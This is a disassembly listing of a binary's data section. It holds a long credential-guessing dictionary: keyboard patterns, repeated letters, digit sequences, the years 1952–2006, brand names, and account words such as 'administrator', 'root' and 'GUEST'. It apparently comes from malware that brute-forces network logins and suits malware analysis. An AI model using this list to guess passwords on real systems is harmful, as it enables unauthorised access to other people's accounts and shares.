		dd offset aJ		; "j"
		dd offset aJj		; "jj"
		dd offset aJjj		; "jjj"
		dd offset aJjjj		; "jjjj"
		dd offset aJjjjj	; "jjjjj"
		dd offset aJjjjjj	; "jjjjjj"
		dd offset aK		; "k"
		dd offset aKk		; "kk"
		dd offset aKkk		; "kkk"
		dd offset aKkkk		; "kkkk"
		dd offset aKkkkk	; "kkkkk"
		dd offset aKkkkkk	; "kkkkkk"
		dd offset asc_42B92C	; "l"
		dd offset aLl		; "ll"
		dd offset aLll		; "lll"
		dd offset aLlll		; "llll"
		dd offset aLllll	; "lllll"
		dd offset aLlllll	; "llllll"
		dd offset aM_1		; "m"
		dd offset aMm		; "mm"
		dd offset aMmm		; "mmm"
		dd offset aMmmm		; "mmmm"
		dd offset aMmmmm	; "mmmmm"
		dd offset aMmmmmm	; "mmmmmm"
		dd offset aN		; "n"
		dd offset aNn		; "nn"
		dd offset aNnn		; "nnn"
		dd offset aNnnn		; "nnnn"
		dd offset aNnnnn	; "nnnnn"
		dd offset aNnnnnn	; "nnnnnn"
		dd offset aO		; "o"
		dd offset aOo		; "oo"
		dd offset aOoo		; "ooo"
		dd offset aOooo		; "oooo"
		dd offset aOoooo	; "ooooo"
		dd offset aOooooo	; "oooooo"
		dd offset aP		; "p"
		dd offset aPp		; "pp"
		dd offset aPpp		; "ppp"
		dd offset aPppp		; "pppp"
		dd offset aPpppp	; "ppppp"
		dd offset aPppppp	; "pppppp"
		dd offset aU		; "u"
		dd offset aUu		; "uu"
		dd offset aUuu		; "uuu"
		dd offset aUuuu		; "uuuu"
		dd offset aUuuuu	; "uuuuu"
		dd offset aUuuuuu	; "uuuuuu"
		dd offset aS_1		; "s"
		dd offset aSs		; "ss"
		dd offset aSss		; "sss"
		dd offset aSsss		; "ssss"
		dd offset aSssss	; "sssss"
		dd offset aSsssss	; "ssssss"
		dd offset aT		; "t"
		dd offset aTt		; "tt"
		dd offset aTtt		; "ttt"
		dd offset aTttt		; "tttt"
		dd offset aTtttt	; "ttttt"
		dd offset aTttttt	; "tttttt"
		dd offset aY		; "y"
		dd offset aYy		; "yy"
		dd offset aYyy		; "yyy"
		dd offset aYyyy		; "yyyy"
		dd offset aYyyyy	; "yyyyy"
		dd offset aYyyyyy	; "yyyyyy"
		dd offset aV		; "v"
		dd offset aVv		; "vv"
		dd offset aVvv		; "vvv"
		dd offset aVvvv		; "vvvv"
		dd offset aVvvvv	; "vvvvv"
		dd offset aVvvvvv	; "vvvvvv"
		dd offset aW		; "w"
		dd offset aWw		; "ww"
		dd offset aWww		; "www"
		dd offset aWwww		; "wwww"
		dd offset aWwwww	; "wwwww"
		dd offset aWwwwww	; "wwwwww"
		dd offset aQ		; "q"
		dd offset aQq		; "qq"
		dd offset aQqq		; "qqq"
		dd offset aQqqq		; "qqqq"
		dd offset aQqqqq	; "qqqqq"
		dd offset aQqqqqq	; "qqqqqq"
		dd offset aZ		; "z"
		dd offset aZz		; "zz"
		dd offset aZzz		; "zzz"
		dd offset aZzzz		; "zzzz"
		dd offset aZzzzz	; "zzzzz"
		dd offset aZzzzzz	; "zzzzzz"
		dd offset aXxyyzz	; "xxyyzz"
		dd offset aZzxx		; "zzxx"
		dd offset aAass		; "aass"
		dd offset aQqww		; "qqww"
		dd offset aZzzxxxccc	; "zzzxxxccc"
		dd offset aAaasssddd	; "aaasssddd"
		dd offset aQqqwwweee	; "qqqwwweee"
		dd offset aQqwwee	; "qqwwee"
		dd offset aAassdd	; "aassdd"
		dd offset aZzxxcc	; "zzxxcc"
		dd offset a1qaz		; "1qaz"
		dd offset a2wsx		; "2wsx"
		dd offset a2qaz		; "2qaz"
		dd offset a3edc		; "3edc"
		dd offset a3wsx		; "3wsx"
		dd offset a112233	; "112233"
		dd offset aMnb		; "mnb"
		dd offset aMnbv		; "mnbv"
		dd offset a2486		; "2486"
		dd offset a2684		; "2684"
		dd offset a13579	; "13579"
		dd offset a753159	; "753159"
		dd offset a159357	; "159357"
		dd offset a951753	; "951753"
		dd offset a753951	; "753951"
		dd offset a142536	; "142536"
		dd offset aSystem	; "system"
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aServer_1	; "SERVER"
		dd offset byte_443398
		dd 0
dword_42B684	dd 10h							; .nsp0:00402616r ...
a142536		db '142536',0           ; DATA XREF: .nsp0:0042B604o
		align 10h
a753951		db '753951',0           ; DATA XREF: .nsp0:0042B600o
		align 4
a951753		db '951753',0           ; DATA XREF: .nsp0:0042B5FCo
		align 10h
a159357		db '159357',0           ; DATA XREF: .nsp0:0042B5F8o
		align 4
a753159		db '753159',0           ; DATA XREF: .nsp0:0042B5F4o
		align 10h
a13579		db '13579',0            ; DATA XREF: .nsp0:0042B5F0o
		align 4
a2684		db '2684',0             ; DATA XREF: .nsp0:0042B5ECo
		align 10h
a2486		db '2486',0             ; DATA XREF: .nsp0:0042B5E8o
		align 4
aMnbv		db 'mnbv',0             ; DATA XREF: .nsp0:0042B5E4o
		align 10h
aMnb		db 'mnb',0              ; DATA XREF: .nsp0:0042B5E0o
a112233		db '112233',0           ; DATA XREF: .nsp0:0042B5DCo
		align 4
a3wsx		db '3wsx',0             ; DATA XREF: .nsp0:0042B5D8o
		align 4
a3edc		db '3edc',0             ; DATA XREF: .nsp0:0042B5D4o
		align 4
a2qaz		db '2qaz',0             ; DATA XREF: .nsp0:0042B5D0o
		align 4
a2wsx		db '2wsx',0             ; DATA XREF: .nsp0:0042B5CCo
		align 4
a1qaz		db '1qaz',0             ; DATA XREF: .nsp0:0042B5C8o
		align 4
aZzxxcc		db 'zzxxcc',0           ; DATA XREF: .nsp0:0042B5C4o
		align 4
aAassdd		db 'aassdd',0           ; DATA XREF: .nsp0:0042B5C0o
		align 4
aQqwwee		db 'qqwwee',0           ; DATA XREF: .nsp0:0042B5BCo
		align 4
aQqqwwweee	db 'qqqwwweee',0        ; DATA XREF: .nsp0:0042B5B8o
		align 4
aAaasssddd	db 'aaasssddd',0        ; DATA XREF: .nsp0:0042B5B4o
		align 4
aZzzxxxccc	db 'zzzxxxccc',0        ; DATA XREF: .nsp0:0042B5B0o
		align 10h
aQqww		db 'qqww',0             ; DATA XREF: .nsp0:0042B5ACo
		align 4
aAass		db 'aass',0             ; DATA XREF: .nsp0:0042B5A8o
		align 10h
aZzxx		db 'zzxx',0             ; DATA XREF: .nsp0:0042B5A4o
		align 4
aXxyyzz		db 'xxyyzz',0           ; DATA XREF: .nsp0:0042B5A0o
		align 10h
aZzzzzz		db 'zzzzzz',0           ; DATA XREF: .nsp0:0042B59Co
		align 4
aZzzzz		db 'zzzzz',0            ; DATA XREF: .nsp0:0042B598o
		align 10h
aZzzz		db 'zzzz',0             ; DATA XREF: .nsp0:0042B594o
		align 4
aZzz		db 'zzz',0              ; DATA XREF: .nsp0:0042B590o
aZz		db 'zz',0               ; DATA XREF: .nsp0:0042B58Co
		align 10h
aQqqqqq		db 'qqqqqq',0           ; DATA XREF: .nsp0:0042B584o
		align 4
aQqqqq		db 'qqqqq',0            ; DATA XREF: .nsp0:0042B580o
		align 10h
aQqqq		db 'qqqq',0             ; DATA XREF: .nsp0:0042B57Co
		align 4
aQqq		db 'qqq',0              ; DATA XREF: .nsp0:0042B578o
aQq		db 'qq',0               ; DATA XREF: .nsp0:0042B574o
		align 10h
aQ:					; DATA XREF: .nsp0:00403127o
					; .nsp0:0042B570o ...
		unicode	0, <q>,0
aWwwwww		db 'wwwwww',0           ; DATA XREF: .nsp0:0042B56Co
		align 4
aWwwww		db 'wwwww',0            ; DATA XREF: .nsp0:0042B568o
		align 4
aWwww		db 'wwww',0             ; DATA XREF: .nsp0:0042B564o
		align 4
aWww		db 'www',0              ; DATA XREF: .nsp0:0042B560o
aWw		db 'ww',0               ; DATA XREF: .nsp0:0042B55Co
		align 4
aW:					; DATA XREF: .nsp0:0042B558o
					; .nsp0:0043FEDCo
		unicode	0, <w>,0
aVvvvvv		db 'vvvvvv',0           ; DATA XREF: .nsp0:0042B554o
		align 10h
aVvvvv		db 'vvvvv',0            ; DATA XREF: .nsp0:0042B550o
		align 4
aVvvv		db 'vvvv',0             ; DATA XREF: .nsp0:0042B54Co
		align 10h
aVvv		db 'vvv',0              ; DATA XREF: .nsp0:0042B548o
aVv		db 'vv',0               ; DATA XREF: .nsp0:004069F5o
					; .nsp0:0042B544o
		align 4
aV:					; DATA XREF: .nsp0:00405AAFo
					; .nsp0:0042B540o ...
		unicode	0, <v>,0
aYyyyyy		db 'yyyyyy',0           ; DATA XREF: .nsp0:0042B53Co
		align 4
aYyyyy		db 'yyyyy',0            ; DATA XREF: .nsp0:0042B538o
		align 4
aYyyy		db 'yyyy',0             ; DATA XREF: .nsp0:0042B534o
		align 4
aYyy		db 'yyy',0              ; DATA XREF: .nsp0:0042B530o
aYy		db 'yy',0               ; DATA XREF: .nsp0:0042B52Co
		align 4
aY:					; DATA XREF: .nsp0:0042B528o
					; .nsp0:0043FEECo
		unicode	0, <y>,0
aTttttt		db 'tttttt',0           ; DATA XREF: .nsp0:0042B524o
		align 4
aTtttt		db 'ttttt',0            ; DATA XREF: .nsp0:0042B520o
		align 10h
aTttt		db 'tttt',0             ; DATA XREF: .nsp0:0042B51Co
		align 4
aTtt		db 'ttt',0              ; DATA XREF: .nsp0:0042B518o
aTt		db 'tt',0               ; DATA XREF: .nsp0:0042B514o
		align 10h
aT:					; DATA XREF: .nsp0:004031F7o
					; .nsp0:0042B510o ...
		unicode	0, <t>,0
aSsssss		db 'ssssss',0           ; DATA XREF: .nsp0:0042B50Co
		align 4
aSssss		db 'sssss',0            ; DATA XREF: .nsp0:0042B508o
		align 4
aSsss		db 'ssss',0             ; DATA XREF: .nsp0:0042B504o
		align 4
aSss		db 'sss',0              ; DATA XREF: .nsp0:0042B500o
aSs		db 'ss',0               ; DATA XREF: .nsp0:0042B4FCo
		align 4
aS_1:					; DATA XREF: .nsp0:00403151o
					; .nsp0:0042B4F8o ...
		unicode	0, <s>,0
aUuuuuu		db 'uuuuuu',0           ; DATA XREF: .nsp0:0042B4F4o
		align 10h
aUuuuu		db 'uuuuu',0            ; DATA XREF: .nsp0:0042B4F0o
		align 4
aUuuu		db 'uuuu',0             ; DATA XREF: .nsp0:0042B4ECo
		align 10h
aUuu		db 'uuu',0              ; DATA XREF: .nsp0:0042B4E8o
aUu		db 'uu',0               ; DATA XREF: .nsp0:0042B4E4o
		align 4
aU:					; DATA XREF: .nsp0:00406A3Ao
					; .nsp0:0042B4E0o ...
		unicode	0, <u>,0
aPppppp		db 'pppppp',0           ; DATA XREF: .nsp0:0042B4DCo
		align 4
aPpppp		db 'ppppp',0            ; DATA XREF: .nsp0:0042B4D8o
		align 4
aPppp		db 'pppp',0             ; DATA XREF: .nsp0:0042B4D4o
		align 4
aPpp		db 'ppp',0              ; DATA XREF: .nsp0:0042B4D0o
aPp		db 'pp',0               ; DATA XREF: .nsp0:0042B4CCo
		align 4
aP:					; DATA XREF: .nsp0:00406AADo
					; .nsp0:0042B4C8o ...
		unicode	0, <p>,0
aOooooo		db 'oooooo',0           ; DATA XREF: .nsp0:0042B4C4o
		align 4
aOoooo		db 'ooooo',0            ; DATA XREF: .nsp0:0042B4C0o
		align 10h
aOooo		db 'oooo',0             ; DATA XREF: .nsp0:0042B4BCo
		align 4
aOoo		db 'ooo',0              ; DATA XREF: .nsp0:0042B4B8o
aOo		db 'oo',0               ; DATA XREF: .nsp0:0042B4B4o
		align 10h
aO:					; DATA XREF: .nsp0:0040595Fo
					; .nsp0:0042B4B0o
		unicode	0, <o>,0
aNnnnnn		db 'nnnnnn',0           ; DATA XREF: .nsp0:0042B4ACo
		align 4
aNnnnn		db 'nnnnn',0            ; DATA XREF: .nsp0:0042B4A8o
		align 4
aNnnn		db 'nnnn',0             ; DATA XREF: .nsp0:0042B4A4o
		align 4
aNnn		db 'nnn',0              ; DATA XREF: .nsp0:0042B4A0o
aNn		db 'nn',0               ; DATA XREF: .nsp0:0042B49Co
		align 4
aN:					; DATA XREF: .nsp0:0040580Fo
					; .nsp0:0042B498o ...
		unicode	0, <n>,0
aMmmmmm		db 'mmmmmm',0           ; DATA XREF: .nsp0:0042B494o
		align 10h
aMmmmm		db 'mmmmm',0            ; DATA XREF: .nsp0:0042B490o
		align 4
aMmmm		db 'mmmm',0             ; DATA XREF: .nsp0:0042B48Co
		align 10h
aMmm		db 'mmm',0              ; DATA XREF: .nsp0:0042B488o
aMm		db 'mm',0               ; DATA XREF: .nsp0:0042B484o
		align 4
aM_1:					; DATA XREF: .nsp0:0040635Co
					; .nsp0:0042B480o ...
		unicode	0, <m>,0
aLlllll		db 'llllll',0           ; DATA XREF: .nsp0:0042B47Co
		align 4
aLllll		db 'lllll',0            ; DATA XREF: .nsp0:0042B478o
		align 4
aLlll		db 'llll',0             ; DATA XREF: .nsp0:0042B474o
		align 4
aLll		db 'lll',0              ; DATA XREF: .nsp0:0042B470o
aLl		db 'll',0               ; DATA XREF: .nsp0:0042B46Co
		align 4
asc_42B92C:				; DATA XREF: .nsp0:0042B468o
					; .nsp0:0043FF1Co
		unicode	0, <l>,0
aKkkkkk		db 'kkkkkk',0           ; DATA XREF: .nsp0:0042B464o
		align 4
aKkkkk		db 'kkkkk',0            ; DATA XREF: .nsp0:0042B460o
		align 10h
aKkkk		db 'kkkk',0             ; DATA XREF: .nsp0:0042B45Co
		align 4
aKkk		db 'kkk',0              ; DATA XREF: .nsp0:0042B458o
aKk		db 'kk',0               ; DATA XREF: .nsp0:0042B454o
		align 10h
aK:					; DATA XREF: .nsp0:004058B7o
					; .nsp0:0042B450o ...
		unicode	0, <k>,0
aJjjjjj		db 'jjjjjj',0           ; DATA XREF: .nsp0:0042B44Co
		align 4
aJjjjj		db 'jjjjj',0            ; DATA XREF: .nsp0:0042B448o
		align 4
aJjjj		db 'jjjj',0             ; DATA XREF: .nsp0:0042B444o
		align 4
aJjj		db 'jjj',0              ; DATA XREF: .nsp0:0042B440o
aJj		db 'jj',0               ; DATA XREF: .nsp0:0042B43Co
		align 4
aJ:					; DATA XREF: .nsp0:00405839o
					; .nsp0:0042B438o ...
		unicode	0, <j>,0
aIiiiii		db 'iiiiii',0           ; DATA XREF: .nsp0:0042B434o
		align 10h
aIiiii		db 'iiiii',0            ; DATA XREF: .nsp0:0042B430o
		align 4
aIiii		db 'iiii',0             ; DATA XREF: .nsp0:0042B42Co
		align 10h
aIii		db 'iii',0              ; DATA XREF: .nsp0:0042B428o
aIi		db 'ii',0               ; DATA XREF: .nsp0:0042B424o
		align 4
aI_1:					; DATA XREF: .nsp0:0040317Bo
					; .nsp0:0042B420o ...
		unicode	0, <i>,0
aHhhhhh		db 'hhhhhh',0           ; DATA XREF: .nsp0:0042B41Co
		align 4
aHhhhh		db 'hhhhh',0            ; DATA XREF: .nsp0:0042B418o
		align 4
aHhhh		db 'hhhh',0             ; DATA XREF: .nsp0:0042B414o
		align 4
aHhh		db 'hhh',0              ; DATA XREF: .nsp0:0042B410o
aHh		db 'hh',0               ; DATA XREF: .nsp0:0042B40Co
		align 4
asc_42B9BC:				; DATA XREF: .nsp0:0042B408o
					; .nsp0:0043FF10o
		unicode	0, <h>,0
aGggggg		db 'gggggg',0           ; DATA XREF: .nsp0:0042B404o
		align 4
aGgggg		db 'ggggg',0            ; DATA XREF: .nsp0:0042B400o
		align 10h
aGggg		db 'gggg',0             ; DATA XREF: .nsp0:0042B3FCo
		align 4
aGgg		db 'ggg',0              ; DATA XREF: .nsp0:0042B3F8o
aGg		db 'gg',0               ; DATA XREF: .nsp0:0042B3F4o
		align 10h
aG:					; DATA XREF: .nsp0:0042B3F0o
					; .nsp0:0043FF0Co
		unicode	0, <g>,0
aEeeeee		db 'eeeeee',0           ; DATA XREF: .nsp0:0042B3ECo
		align 4
aEeeee		db 'eeeee',0            ; DATA XREF: .nsp0:0042B3E8o
		align 4
aEeee		db 'eeee',0             ; DATA XREF: .nsp0:0042B3E4o
		align 4
aEee		db 'eee',0              ; DATA XREF: .nsp0:0042B3E0o
aEe		db 'ee',0               ; DATA XREF: .nsp0:0042B3DCo
		align 4
aE:					; DATA XREF: .nsp0:00406556o
					; .nsp0:0042B3D8o ...
		unicode	0, <e>,0
aFffff		db 'fffff',0            ; DATA XREF: .nsp0:0042B3D4o
		align 10h
aFfff		db 'ffff',0             ; DATA XREF: .nsp0:0042B3D0o
		align 4
aFff		db 'fff',0              ; DATA XREF: .nsp0:0042B3CCo
aFf		db 'ff',0               ; DATA XREF: .nsp0:00406584o
					; .nsp0:0042B3C8o
		align 10h
aF:					; DATA XREF: .nsp0:0042B3C4o
					; .nsp0:0043FF08o
		unicode	0, <f>,0
aDdddd		db 'ddddd',0            ; DATA XREF: .nsp0:0042B3C0o
		align 4
aDddd		db 'dddd',0             ; DATA XREF: .nsp0:0042B3BCo
		align 4
aDdd		db 'ddd',0              ; DATA XREF: .nsp0:0042B3B8o
aDd		db 'dd',0               ; DATA XREF: .nsp0:0042B3B4o
		align 4
aD:					; DATA XREF: .nsp0:004029E8o
					; .nsp0:0042B3B0o ...
		unicode	0, <d>,0
aCcccccccc	db 'ccccccccc',0        ; DATA XREF: .nsp0:0042B3ACo
		align 4
aCccccccc	db 'cccccccc',0         ; DATA XREF: .nsp0:0042B3A8o
		align 4
aCcccccc	db 'ccccccc',0          ; DATA XREF: .nsp0:0042B3A4o
aCccccc		db 'cccccc',0           ; DATA XREF: .nsp0:0042B3A0o
		align 4
aCcccc		db 'ccccc',0            ; DATA XREF: .nsp0:0042B39Co
		align 10h
aCccc_0		db 'cccc',0             ; DATA XREF: .nsp0:0042B398o
		align 4
aCcc		db 'ccc',0              ; DATA XREF: .nsp0:0042B394o
aCc		db 'cc',0               ; DATA XREF: .nsp0:0042B390o
		align 10h
aC:					; DATA XREF: .nsp0:00406620o
					; .nsp0:0042B38Co ...
		unicode	0, <c>,0
aBbbbbbbbb	db 'bbbbbbbbb',0        ; DATA XREF: .nsp0:0042B388o
		align 10h
aBbbbbbbb	db 'bbbbbbbb',0         ; DATA XREF: .nsp0:0042B384o
		align 4
aBbbbbbb	db 'bbbbbbb',0          ; DATA XREF: .nsp0:0042B380o
aBbbbbb		db 'bbbbbb',0           ; DATA XREF: .nsp0:0042B37Co
		align 4
aBbbbb		db 'bbbbb',0            ; DATA XREF: .nsp0:0042B378o
		align 4
aBbbb		db 'bbbb',0             ; DATA XREF: .nsp0:0042B374o
		align 4
aBbb		db 'bbb',0              ; DATA XREF: .nsp0:0042B370o
aBb		db 'bb',0               ; DATA XREF: .nsp0:0042B36Co
		align 4
aB_0:					; DATA XREF: .nsp0:0042B368o
					; .nsp0:0043FF30o
		unicode	0, <b>,0
aRfv		db 'rfv',0              ; DATA XREF: .nsp0:0042B364o
aEdc		db 'edc',0              ; DATA XREF: .nsp0:0042B360o
aWsx		db 'wsx',0              ; DATA XREF: .nsp0:0042B35Co
aQaz		db 'qaz',0              ; DATA XREF: .nsp0:0042B358o
aAsdfghjkl	db 'asdfghjkl',0        ; DATA XREF: .nsp0:0042B354o
		align 4
aAsdfghjk	db 'asdfghjk',0         ; DATA XREF: .nsp0:0042B350o
		align 10h
aAsdfghj	db 'asdfghj',0          ; DATA XREF: .nsp0:0042B34Co
aAsdfgh		db 'asdfgh',0           ; DATA XREF: .nsp0:0042B348o
		align 10h
aAsdfg		db 'asdfg',0            ; DATA XREF: .nsp0:0042B344o
		align 4
aAs		db 'as',0               ; DATA XREF: .nsp0:0042B338o
		align 4
aZxcvbnm	db 'zxcvbnm',0          ; DATA XREF: .nsp0:0042B334o
aZxcvbn		db 'zxcvbn',0           ; DATA XREF: .nsp0:0042B330o
		align 4
aZxcvb		db 'zxcvb',0            ; DATA XREF: .nsp0:0042B32Co
		align 4
aZxc		db 'zxc',0              ; DATA XREF: .nsp0:0042B324o
aZx		db 'zx',0               ; DATA XREF: .nsp0:0042B320o
		align 4
aZ:					; DATA XREF: .nsp0:0042B31Co
					; .nsp0:0042B588o ...
		unicode	0, <z>,0
aKonyang	db 'konyang',0          ; DATA XREF: .nsp0:0042B318o
aToyota		db 'TOYOTA',0
		align 10h
		dd offset byte_524F4B
		dd 726F6Bh, 696863h, 494843h
aSystem		db 'system',0           ; DATA XREF: .nsp0:0042B608o
		align 4
aServices	db 'services',0
		align 4
aServers	db 'servers',0
aServer		db 'server',0           ; DATA XREF: .nsp0:00405974o
		align 4
aQwertyuiop	db 'qwertyuiop',0
		align 10h
aQwertyuio	db 'qwertyuio',0
		align 4
aQwertyui	db 'qwertyui',0
		align 4
aQwertyu	db 'qwertyu',0
aQwe		db 'qwe',0              ; DATA XREF: .nsp0:0042B290o
aQw		db 'qw',0               ; DATA XREF: .nsp0:0042B28Co
		align 4
aPassword1	db 'password1',0        ; DATA XREF: .nsp0:0042B288o
		align 4
aPassword_0	db 'Password',0         ; DATA XREF: .nsp0:0042B284o
		align 10h
aAaaaaaaaa	db 'aaaaaaaaa',0        ; DATA XREF: .nsp0:0042B280o
		align 4
aAaaaaaaa	db 'aaaaaaaa',0         ; DATA XREF: .nsp0:0042B27Co
		align 4
aAaaaaaa	db 'aaaaaaa',0          ; DATA XREF: .nsp0:0042B278o
aAaaaaa		db 'aaaaaa',0           ; DATA XREF: .nsp0:0042B274o
		align 4
aAaaaa		db 'aaaaa',0            ; DATA XREF: .nsp0:0042B270o
		align 10h
aAaaa		db 'aaaa',0             ; DATA XREF: .nsp0:0042B26Co
		align 4
aAa		db 'aa',0               ; DATA XREF: .nsp0:004062A4o
					; .nsp0:0042B264o
		align 4
aXp		db 'XP',0               ; DATA XREF: .nsp0:0040AEE0o
					; sub_41B2E4+AAo ...
		align 10h
aNokia		db 'NOKIA',0            ; DATA XREF: .nsp0:0042B258o
		align 4
aSex		db 'SEX',0              ; DATA XREF: .nsp0:0042B254o
aCreative	db 'CREATIVE',0         ; DATA XREF: .nsp0:0042B250o
		align 4
aDisc_0		db 'DISC',0             ; DATA XREF: .nsp0:0042B24Co
		align 10h
aMicrosoft	db 'MICROSOFT',0        ; DATA XREF: .nsp0:0042B248o
		align 4
aMaster_0	db 'MASTER',0           ; DATA XREF: .nsp0:0042B244o
		align 4
aSony_0		db 'SONY',0             ; DATA XREF: .nsp0:0042B240o
		align 4
aSamsung	db 'samsung',0          ; DATA XREF: .nsp0:0042B23Co
aSamsung_0	db 'SAMSUNG',0          ; DATA XREF: .nsp0:0042B238o
aSony		db 'sony',0             ; DATA XREF: .nsp0:0042B234o
		align 4
a7654321	db '7654321',0          ; DATA XREF: .nsp0:0042B230o
a4321		db '4321',0             ; DATA XREF: .nsp0:0042B224o
		align 4
a321		db '321',0              ; DATA XREF: .nsp0:0042B220o
a2006		db '2006',0             ; DATA XREF: .nsp0:0042B218o
		align 10h
a2005		db '2005',0             ; DATA XREF: .nsp0:0042B214o
		align 4
a2004		db '2004',0             ; DATA XREF: .nsp0:0042B210o
		align 10h
a2001		db '2001',0             ; DATA XREF: .nsp0:0042B204o
		align 4
a2000		db '2000',0             ; DATA XREF: .nsp0:0042B200o
		align 10h
a1999		db '1999',0             ; DATA XREF: .nsp0:0042B1FCo
		align 4
a1998		db '1998',0             ; DATA XREF: .nsp0:0042B1F8o
		align 10h
a1997		db '1997',0             ; DATA XREF: .nsp0:0042B1F4o
		align 4
a1996		db '1996',0             ; DATA XREF: .nsp0:0042B1F0o
		align 10h
a1995		db '1995',0             ; DATA XREF: .nsp0:0042B1ECo
		align 4
a1994		db '1994',0             ; DATA XREF: .nsp0:0042B1E8o
		align 10h
a1993		db '1993',0             ; DATA XREF: .nsp0:0042B1E4o
		align 4
a1992		db '1992',0             ; DATA XREF: .nsp0:0042B1E0o
		align 10h
a1991		db '1991',0             ; DATA XREF: .nsp0:0042B1DCo
		align 4
a1990		db '1990',0             ; DATA XREF: .nsp0:0042B1D8o
		align 10h
a1989		db '1989',0             ; DATA XREF: .nsp0:0042B1D4o
		align 4
a1988		db '1988',0             ; DATA XREF: .nsp0:0042B1D0o
		align 10h
a1987		db '1987',0             ; DATA XREF: .nsp0:0042B1CCo
		align 4
a1986		db '1986',0             ; DATA XREF: .nsp0:0042B1C8o
		align 10h
a1985		db '1985',0             ; DATA XREF: .nsp0:0042B1C4o
		align 4
a1984		db '1984',0             ; DATA XREF: .nsp0:0042B1C0o
		align 10h
a1983		db '1983',0             ; DATA XREF: .nsp0:0042B1BCo
		align 4
a1982		db '1982',0             ; DATA XREF: .nsp0:0042B1B8o
		align 10h
a1981		db '1981',0             ; DATA XREF: .nsp0:0042B1B4o
		align 4
a1980		db '1980',0             ; DATA XREF: .nsp0:0042B1B0o
		align 10h
a1979		db '1979',0             ; DATA XREF: .nsp0:0042B1ACo
		align 4
a1978		db '1978',0             ; DATA XREF: .nsp0:0042B1A8o
		align 10h
a1977		db '1977',0             ; DATA XREF: .nsp0:0042B1A4o
		align 4
a1976		db '1976',0             ; DATA XREF: .nsp0:0042B1A0o
		align 10h
a1975		db '1975',0             ; DATA XREF: .nsp0:0042B19Co
		align 4
a1974		db '1974',0             ; DATA XREF: .nsp0:0042B198o
		align 10h
a1973		db '1973',0             ; DATA XREF: .nsp0:0042B194o
		align 4
a1972		db '1972',0             ; DATA XREF: .nsp0:0042B190o
		align 10h
a1971		db '1971',0             ; DATA XREF: .nsp0:0042B18Co
		align 4
a1970		db '1970',0             ; DATA XREF: .nsp0:0042B188o
		align 10h
a1969		db '1969',0             ; DATA XREF: .nsp0:0042B184o
		align 4
a1968		db '1968',0             ; DATA XREF: .nsp0:0042B180o
		align 10h
a1967		db '1967',0             ; DATA XREF: .nsp0:0042B17Co
		align 4
a1966		db '1966',0             ; DATA XREF: .nsp0:0042B178o
		align 10h
a1965		db '1965',0             ; DATA XREF: .nsp0:0042B174o
		align 4
a1964		db '1964',0             ; DATA XREF: .nsp0:0042B170o
		align 10h
a1963		db '1963',0             ; DATA XREF: .nsp0:0042B16Co
		align 4
a1962		db '1962',0             ; DATA XREF: .nsp0:0042B168o
		align 10h
a1961		db '1961',0             ; DATA XREF: .nsp0:0042B164o
		align 4
a1960		db '1960',0             ; DATA XREF: .nsp0:0042B160o
		align 10h
a1959		db '1959',0             ; DATA XREF: .nsp0:0042B15Co
		align 4
a1958		db '1958',0             ; DATA XREF: .nsp0:0042B158o
		align 10h
a1957		db '1957',0             ; DATA XREF: .nsp0:0042B154o
		align 4
a1956		db '1956',0             ; DATA XREF: .nsp0:0042B150o
		align 10h
a1955		db '1955',0             ; DATA XREF: .nsp0:0042B14Co
		align 4
a1954		db '1954',0             ; DATA XREF: .nsp0:0042B148o
		align 10h
a1953		db '1953',0             ; DATA XREF: .nsp0:0042B144o
		align 4
a1952		db '1952',0             ; DATA XREF: .nsp0:0042B140o
		align 10h
a1234qwe	db '1234qwe',0          ; DATA XREF: .nsp0:0042B13Co
a1234asd	db '1234asd',0          ; DATA XREF: .nsp0:0042B138o
a1234abc	db '1234abc',0          ; DATA XREF: .nsp0:0042B134o
a123qwer	db '123qwer',0          ; DATA XREF: .nsp0:0042B120o
a12qwe		db '12qwe',0            ; DATA XREF: .nsp0:0042B11Co
		align 4
a12asd		db '12asd',0            ; DATA XREF: .nsp0:0042B118o
		align 10h
a12abc		db '12abc',0            ; DATA XREF: .nsp0:0042B114o
		align 4
a12qwer		db '12qwer',0           ; DATA XREF: .nsp0:0042B110o
		align 10h
a1qwe		db '1qwe',0             ; DATA XREF: .nsp0:0042B10Co
		align 4
a1asd		db '1asd',0             ; DATA XREF: .nsp0:0042B108o
		align 10h
a1abc		db '1abc',0             ; DATA XREF: .nsp0:0042B104o
		align 4
a1qwer		db '1qwer',0            ; DATA XREF: .nsp0:0042B100o
		align 10h
a123467890	db '123467890',0        ; DATA XREF: .nsp0:0042B0FCo
		align 4
a12346789	db '12346789',0         ; DATA XREF: .nsp0:0042B0F8o
		align 4
a1234678	db '1234678',0          ; DATA XREF: .nsp0:0042B0F4o
a123467		db '123467',0           ; DATA XREF: .nsp0:0042B0F0o
		align 4
a12346		db '12346',0            ; DATA XREF: .nsp0:0042B0ECo
		align 10h
a121		db '121',0              ; DATA XREF: .nsp0:0042B0C4o
a1020		db '1020',0             ; DATA XREF: .nsp0:0042B0BCo
		align 4
a0258		db '0258',0             ; DATA XREF: .nsp0:0042B0B8o
		align 4
a8520		db '8520',0             ; DATA XREF: .nsp0:0042B0B4o
		align 4
a987		db '987',0              ; DATA XREF: .nsp0:0042B0B0o
a789		db '789',0              ; DATA XREF: .nsp0:0042B0ACo
a654		db '654',0              ; DATA XREF: .nsp0:0042B0A8o
a456		db '456',0              ; DATA XREF: .nsp0:0042B0A4o
a1122		db '1122',0             ; DATA XREF: .nsp0:0042B0A0o
		align 4
a0147		db '0147',0             ; DATA XREF: .nsp0:0042B09Co
		align 4
